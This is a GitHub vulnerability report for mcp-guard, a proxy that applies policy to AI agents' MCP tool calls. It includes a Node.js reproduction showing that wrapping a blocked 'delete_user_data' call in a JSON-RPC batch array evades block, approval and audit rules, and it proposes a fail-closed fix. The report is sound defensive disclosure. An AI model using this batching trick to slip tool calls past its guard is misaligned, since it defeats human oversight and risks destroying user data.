Skip to content

MCP Guard forwards JSON-RPC batch tools/call without policy enforcement #59

Description

@keilogic

Summary

@permission-protocol/mcp-guard inspects only top-level JSON-RPC objects. If a client sends a JSON-RPC batch array containing a tools/call, the proxy treats the parsed value as a non-tools/call message and forwards the entire line to the child MCP server without policy evaluation.

That bypasses both block and require_approval rules for any downstream server that accepts JSON-RPC batches or remains compatible with the 2025-03-26 MCP base protocol. It also creates no guard receipt for the nested tool call.

The current MCP spec removed batching, but that makes the failure mode still relevant for a security proxy: unsupported message shapes should be rejected or inspected fail-closed, not passed through to a potentially backwards-compatible server.

Affected code

Repository: permission-protocol/mcp-guard
Commit tested: 05aea1e209c879f9b8e9d6b3de1d258b1357b912

src/proxy.ts parses each stdin line and checks:

msg = JSON.parse(line);

if (msg.method === 'tools/call') {
  // evaluate policy
} else {
  child.stdin!.write(line + '\n');
}

When msg is an array, msg.method is undefined, so the batch goes to the pass-through branch. The proxy never iterates over the batch items and never evaluates nested tools/call requests.

Reproduction

This uses the stock example config, which blocks delete_user_data:

rules:
  - id: block-delete-user-data
    tool: delete_user_data
    action: block

From a fresh checkout:

npm ci
npm run build

Run this local harness. It starts mcp-guard with the stock example config and a dummy child server that accepts JSON-RPC batches:

const { spawn } = require('child_process');

const serverCode = `
const readline = require('readline');
readline.createInterface({ input: process.stdin }).on('line', (line) => {
  const msg = JSON.parse(line);
  if (Array.isArray(msg)) {
    console.error('SERVER_RECEIVED_BATCH ' + msg.map(m => m.method + ':' + (m.params && m.params.name)).join(','));
    const resp = msg.filter(m => Object.prototype.hasOwnProperty.call(m, 'id')).map(m => ({
      jsonrpc: '2.0',
      id: m.id,
      result: { called: m.params && m.params.name, accepted: true }
    }));
    console.log(JSON.stringify(resp));
  } else {
    console.error('SERVER_RECEIVED_SINGLE ' + msg.method + ':' + (msg.params && msg.params.name));
    console.log(JSON.stringify({
      jsonrpc: '2.0',
      id: msg.id ?? null,
      result: { called: msg.params && msg.params.name, accepted: true }
    }));
  }
});
`;

const child = spawn(process.execPath, [
  'dist/src/cli.js',
  '--config',
  'example/pp.config.yaml',
  '--',
  process.execPath,
  '-e',
  serverCode
], { stdio: ['pipe', 'pipe', 'pipe'] });

child.stdout.on('data', d => process.stdout.write('STDOUT: ' + d.toString().replace(/\n/g, '\nSTDOUT: ')));
child.stderr.on('data', d => process.stdout.write('STDERR: ' + d.toString().replace(/\n/g, '\nSTDERR: ')));

setTimeout(() => {
  child.stdin.write(JSON.stringify({
    jsonrpc: '2.0',
    id: 1,
    method: 'tools/call',
    params: { name: 'delete_user_data', arguments: { user_id: 'victim' } }
  }) + '\n');
}, 300);

setTimeout(() => {
  child.stdin.write(JSON.stringify([{
    jsonrpc: '2.0',
    id: 2,
    method: 'tools/call',
    params: { name: 'delete_user_data', arguments: { user_id: 'victim' } }
  }]) + '\n');
}, 700);

setTimeout(() => child.kill('SIGTERM'), 1400);
setTimeout(() => {}, 1700);

Observed result:

[mcp-guard] receipt: {"tool_name":"delete_user_data","decision":"blocked",...}
STDOUT: {"jsonrpc":"2.0","id":1,"error":{"code":-32001,"message":"Blocked: Matched rule \"block-delete-user-data\""}}

SERVER_RECEIVED_BATCH tools/call:delete_user_data
STDOUT: [{"jsonrpc":"2.0","id":2,"result":{"called":"delete_user_data","accepted":true}}]

The first, normal request is blocked as expected. The second request is the same blocked tool call wrapped in an array. It reaches the child server and succeeds.

The guard emits a receipt for the single blocked request, but emits no receipt for the batched tools/call, because that path never reaches evaluate().

Why this is a bypass

MCP Guard's core promise is that it "blocks unsafe tool calls before they execute" and requires approval before sensitive actions run. A client that can send JSON-RPC directly to the guard can bypass that policy by wrapping a dangerous tools/call in a batch array.

For block rules, the protected tool executes anyway.

For require_approval rules, the protected tool reaches the server immediately without appearing in the approval queue.

For audit, no decision receipt is created for the nested tool call.

The 2025-03-26 MCP base protocol explicitly allowed JSON-RPC batches and required implementations to support receiving them:

https://modelcontextprotocol.io/specification/2025-03-26/basic#batching

The 2025-06-18 changelog removed batching:

https://modelcontextprotocol.io/specification/2025-06-18/changelog

So a current-version-only proxy can reasonably reject batches. The security issue is that mcp-guard currently forwards them uninspected, which is fail-open for any child server that accepts old JSON-RPC batch input.

Suggested fix

Handle Array.isArray(msg) explicitly before the pass-through branch.

If mcp-guard does not intend to support JSON-RPC batches, reject arrays fail-closed and do not forward them to the child server. Return JSON-RPC invalid-request errors for request IDs present in the array.

If mcp-guard wants to support legacy/2025-03-26 clients, iterate over each batch item and apply the same policy path used for single requests. Forward only allowed entries, block or hold disallowed tools/call entries, and emit one receipt per nested tool call. Add a regression test where a batched blocked tools/call must not reach the child server.

Bounty note

Submitting for assessment under #36 because the challenge lists mcp-guard as in-scope source. This is not a raw Ed25519 forgery; it is a policy and receipt bypass in the local MCP proxy path.

If accepted, PayPal payout can go to:

https://www.paypal.com/paypalme/aogkft

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions